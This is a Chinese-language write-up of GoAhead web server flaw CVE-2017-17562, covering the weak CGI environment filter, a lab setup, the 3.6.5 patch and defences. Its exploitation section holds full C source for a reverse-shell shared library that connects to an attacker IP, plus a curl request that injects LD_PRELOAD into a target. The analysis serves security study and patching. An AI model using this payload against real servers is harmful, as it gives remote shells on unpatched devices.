GoAhead远程代码执行漏洞(CVE-2017-17562)深入分析与利用指南

漏洞概述

漏洞编号：CVE-2017-17562
影响版本：GoAhead Web Server 2.5.0 至 3.6.4
漏洞类型：远程代码执行(RCE)
CVSS评分：9.8 (Critical)
前提条件：

• 目标系统启用了CGI功能
• CGI程序采用动态链接方式

漏洞背景

GoAhead是一款专为嵌入式实时操作系统设计的轻量级开源Web服务器，曾被IBM、HP、Oracle、波音、D-link、摩托罗拉等多家知名厂商采用。该漏洞存在于CGI处理机制中，允许攻击者通过精心构造的HTTP请求实现远程代码执行。

漏洞原理分析

核心漏洞点

漏洞位于cgi.c文件的cgiHandler函数中，该函数在处理CGI请求时存在以下问题：

1. 环境变量注入：函数使用未经充分过滤的HTTP请求参数初始化CGI脚本的执行环境
2. 黑名单不足：仅过滤了REMOTE_HOST和HTTP_AUTHORIZATION两个环境变量
3. 动态链接风险：允许通过LD_PRELOAD等环境变量控制动态链接行为

关键代码分析

// 漏洞代码片段 (v3.6.4及之前版本)
envpsize = 64;
envp = walloc(envpsize * sizeof(char *));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
    if (s->content.valid && s->content.type == string && 
        strcmp(s->name.value.string, "REMOTE_HOST") != 0 && 
        strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
        envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
        if (n >= envpsize) {
            envpsize *= 2;
            envp = wrealloc(envp, envpsize * sizeof(char *));
        }
    }
}

请求处理流程

1. 请求接收：readEvent函数通过socket接收HTTP请求数据
2. 请求解析：
   • parseFirstLine解析HTTP请求行
   • parseHeaders解析HTTP头部
3. 路由处理：websRouteRequest根据URL路径确定使用cgiHandler处理
4. CGI准备：
   • 为POST请求创建临时文件存储请求体
   • 设置环境变量和参数
5. 进程启动：launchCgi通过execve执行CGI程序

漏洞利用技术

利用原理

通过控制LD_PRELOAD环境变量，使其指向攻击者控制的共享对象文件，利用glibc动态链接器在程序启动时加载恶意代码。

利用步骤

1. 准备恶意共享库：编译包含构造函数的共享库

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/socket.h>
   #include <netinet/in.h>
   
   char *server_ip = "攻击者IP";
   uint32_t server_port = 7777;
   
   static void reverse_shell(void) __attribute__((constructor));
   static void reverse_shell(void) {
       // 反向shell实现代码
       int sock = socket(AF_INET, SOCK_STREAM, 0);
       struct sockaddr_in attacker_addr = {0};
       attacker_addr.sin_family = AF_INET;
       attacker_addr.sin_port = htons(server_port);
       attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
   
       if(connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
           exit(0);
   
       dup2(sock, 0);
       dup2(sock, 1);
       dup2(sock, 2);
       execve("/bin/sh", 0, 0);
   }
   

   编译命令：gcc -shared -fPIC exp.c -o exp.so

2. 利用临时文件特性：

   • POST数据会被写入临时文件(/tmp/cgi-N.tmp)
   • CGI进程的标准输入被重定向到该临时文件
   • /proc/self/fd/0指向进程的标准输入(即临时文件)

3. 发起攻击请求：

   curl -X POST --data-binary @exp.so http://目标IP:80/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
   

技术要点

1. LD_PRELOAD机制：允许在程序启动前预加载指定共享库
2. 构造函数特性：__attribute__((constructor))确保代码在库加载时执行
3. 文件描述符技巧：利用/proc/self/fd/0避免临时文件名猜测

漏洞复现环境搭建

1. 获取漏洞版本：

   git clone https://github.com/embedthis/goahead.git
   cd goahead
   git checkout tags/v3.6.4
   

2. 编译安装：

   make
   cd test
   gcc ./cgitest.c -o cgi-bin/cgitest
   sudo ../build/linux-x64-default/bin/goahead
   

3. 测试CGI功能：

   curl http://localhost:80/cgi-bin/cgitest
   

补丁分析

GoAhead在3.6.5版本中修复了该漏洞，主要修改包括：

1. 扩展黑名单：增加了对IFS、CDPATH、PATH和所有LD_开头变量的过滤
2. 更严格的检查：使用sstarts函数检查变量名前缀

补丁代码片段：

if (smatch(s->name.value.string, "REMOTE_HOST") ||
    smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
    smatch(s->name.value.string, "IFS") ||
    smatch(s->name.value.string, "CDPATH") ||
    smatch(s->name.value.string, "PATH") ||
    sstarts(s->name.value.string, "LD_")) {
    continue;
}

防御措施

1. 升级到安全版本：使用GoAhead 3.6.5或更高版本
2. 禁用不必要功能：如非必要，禁用CGI支持
3. 静态链接CGI：使用静态链接方式编译CGI程序
4. 环境变量过滤：实现更严格的环境变量过滤机制
5. 权限控制：以低权限用户运行Web服务器

扩展思考

1. 替代利用技术：除LD_PRELOAD外，还可研究其他环境变量利用方式
2. 嵌入式设备影响：评估该漏洞在IoT设备中的实际影响
3. 漏洞链利用：结合其他漏洞实现更复杂的攻击场景

参考资源

1. GoAhead官方GitHub仓库
2. CVE-2017-17562漏洞详情
3. 动态链接器安全机制

通过本教程，您应该已经全面了解了CVE-2017-17562漏洞的原理、利用方式及防御措施。请务必在合法授权的前提下进行安全测试，并将这些知识用于提升系统安全性。